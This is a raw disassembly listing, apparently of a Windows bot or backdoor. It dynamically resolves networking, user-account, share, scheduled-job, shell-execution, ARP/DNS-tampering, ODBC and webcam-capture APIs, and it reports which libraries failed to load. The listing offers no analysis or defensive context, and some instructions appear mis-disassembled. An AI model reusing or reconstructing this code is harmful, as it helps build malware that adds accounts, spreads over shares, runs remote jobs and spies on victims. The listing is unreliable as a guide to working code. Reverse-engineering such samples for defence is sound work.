		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43AD94, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43ACD4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43ACCC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43ADE8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43ADFC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43ADB0, eax
		call	esi
		mov	dword_43AD70, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43ADC4, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43AD80, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43ADC0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43AE2C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43AD78, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43AD3C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43ADAC, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43AE1C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43AD50, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43ACF4, eax
		call	esi
		cmp	dword_43AD10, ebx
		mov	dword_43AE30, eax
		jz	loc_409FD6
		cmp	dword_43AE3C, ebx
		jz	loc_409FD6
		cmp	dword_43ACB4, ebx
		jz	loc_409FD6
		cmp	dword_43AD44, ebx
		jz	loc_409FD6
		cmp	dword_43AD2C, ebx
		jz	loc_409FD6
		cmp	dword_43ACF8, ebx
		jz	loc_409FD6
		cmp	dword_43AE18, ebx
		jz	loc_409FD6
		cmp	dword_43AE34, ebx
		jz	loc_409FD6
		cmp	dword_43AD40, ebx
		jz	loc_409FD6
		cmp	dword_43AE24, ebx
		jz	loc_409FD6
		cmp	dword_43ADD8, ebx
		jz	loc_409FD6
		cmp	dword_43AD98, ebx
		jz	loc_409FD6
		cmp	dword_43AD94, ebx
		jz	loc_409FD6
		cmp	dword_43ACD4, ebx
		jz	short loc_409FD6
		cmp	dword_43ADE8, ebx
		jz	short loc_409FD6
		cmp	dword_43ADFC, ebx
		jz	short loc_409FD6
		cmp	dword_43ADB0, ebx
		jz	short loc_409FD6
		cmp	dword_43AD70, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC4, ebx
		jz	short loc_409FD6
		cmp	dword_43AD80, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC0, ebx
		jz	short loc_409FD6
		cmp	dword_43AE2C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD78, ebx
		jz	short loc_409FD6
		cmp	dword_43AD3C, ebx
		jz	short loc_409FD6
		cmp	dword_43ADAC, ebx
		jz	short loc_409FD6
		cmp	dword_43AE1C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD50, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------

loc_409FCB:				; CODE XREF: sub_40981F+501j
		call	near ptr 265031Fh
		nop
		mov	dword_43AE7C, eax

loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43AE78, 1

loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43ACDC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43AC68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43AD60, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43AD14, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43AD6C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43AD30, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43ACA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43ACA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43ACB0, eax
		call	esi
		cmp	dword_43ACDC, ebx
		mov	ecx, dword_43AD30
		mov	dword_43ADCC, eax
		jz	short loc_40A0C1
		cmp	dword_43AC68, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD60, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD14, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD6C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA8, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA0, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACB0, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB

loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43AE80, 1

loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43AD48, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------

loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 265031Fh
		mov	dword_43AE84, eax
		mov	dword_43AE80, 1

loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43AD48, ebx

loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43AD24, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43AE50, eax
		call	esi
		cmp	dword_43AD24, ebx
		mov	dword_43ACBC, eax
		jz	short loc_40A155
		cmp	dword_43AE50, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------

loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		nop
		call	near ptr 265031Fh
		mov	dword_43AE8C, eax

loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43AE88, 1

loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43AC98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43AC70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43ACE4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43AD18, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43AE28, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43ACD0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43AC7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43AC6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43AD00, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43ADF0, eax
		call	esi
		cmp	dword_43AC98, ebx
		mov	dword_43ADA8, eax
		jz	short loc_40A260
		cmp	dword_43AC70, ebx
		jz	short loc_40A260
		cmp	dword_43ACE4, ebx
		jz	short loc_40A260
		cmp	dword_43AD18, ebx
		jz	short loc_40A260
		cmp	dword_43AE28, ebx
		jz	short loc_40A260
		cmp	dword_43ACD0, ebx
		jz	short loc_40A260
		cmp	dword_43AC7C, ebx
		jz	short loc_40A260
		cmp	dword_43AC6C, ebx
		jz	short loc_40A260
		cmp	dword_43AD00, ebx
		jz	short loc_40A260
		cmp	dword_43ADF0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------

loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 265031Fh
		mov	dword_43AE94, eax

loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43AE90, 1

loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43ACC0, eax
		call	esi
		cmp	dword_43ACC0, ebx
		mov	dword_43AD90, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------

loc_40A29F:				; CODE XREF: sub_40981F+A56j
		call	near ptr 265031Fh
		nop
		mov	dword_43AE9C, eax

loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43AE98, 1

loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43AE14, eax
		call	esi
		cmp	dword_43AE14, ebx
		mov	dword_43AE10, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------

loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 265031Fh
		mov	dword_43AEA4, eax

loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43AEA0, 1

loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43AE40, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43AE38, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43AE00, eax
		call	esi
		cmp	dword_43AE40, ebx
		mov	dword_43ACD8, eax
		jz	short loc_40A368
		cmp	dword_43AE38, ebx
		jz	short loc_40A368
		cmp	dword_43AE00, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------

loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		call	near ptr 265031Fh
		nop
		mov	dword_43AEAC, eax

loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43AEA8, 1

loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43AD0C, eax
		call	esi
		cmp	dword_43AD0C, ebx
		mov	dword_43AE0C, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------

loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		call	near ptr 265031Fh
		nop
		mov	dword_43AEB4, eax

loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43AEB0, 1

loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43ADD4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43AE20, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43AD5C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43AD1C, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43ADB4, eax
		call	esi
		cmp	dword_43ADD4, ebx
		mov	dword_43AD28, eax
		jz	short loc_40A450
		cmp	dword_43AE20, ebx
		jz	short loc_40A450
		cmp	dword_43AD5C, ebx
		jz	short loc_40A450
		cmp	dword_43AD1C, ebx
		jz	short loc_40A450
		cmp	dword_43ADB4, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------

loc_40A445:				; CODE XREF: sub_40981F+BA8j
		call	near ptr 265031Fh
		nop
		mov	dword_43AEBC, eax

loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43AEB8, 1

loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43ACF0, eax
		call	esi
		cmp	dword_43ACF0, ebx
		mov	dword_43ADC8, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------

loc_40A48F:				; CODE XREF: sub_40981F+C46j
		call	near ptr 265031Fh
		nop
		mov	dword_43AEC4, eax

loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43AEC0, 1

loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43AE58, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43AE5C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43AE60, esi
		jz	short loc_40A528
		push	dword_43AE64
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43AE68, esi
		jz	short loc_40A55C
		push	dword_43AE6C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43AE70, esi
		jz	short loc_40A590
		push	dword_43AE74
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43AE78, esi
		jz	short loc_40A5C4
		push	dword_43AE7C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43AE80, esi
		jz	short loc_40A5F8
		push	dword_43AE84
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43AE88, esi
		jz	short loc_40A62C
		push	dword_43AE8C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43AE90, esi
		jz	short loc_40A660
		push	dword_43AE94
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43AE98, esi
		jz	short loc_40A694
		push	dword_43AE9C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43AEA0, esi
		jz	short loc_40A6C8
		push	dword_43AEA4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43AEA8, esi
		jz	short loc_40A6FC
		push	dword_43AEAC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43AEB0, esi
		jz	short loc_40A730
		push	dword_43AEB4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43AEB8, esi
		jz	short loc_40A764
		push	dword_43AEBC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43AEC0, esi
		jz	short loc_40A798
		push	dword_43AEC4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi

loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx

loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------

loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax

loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E

loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------

loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0

loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB

loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0

loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA

loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]

loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD

loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch

loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx

loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi

loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx

loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
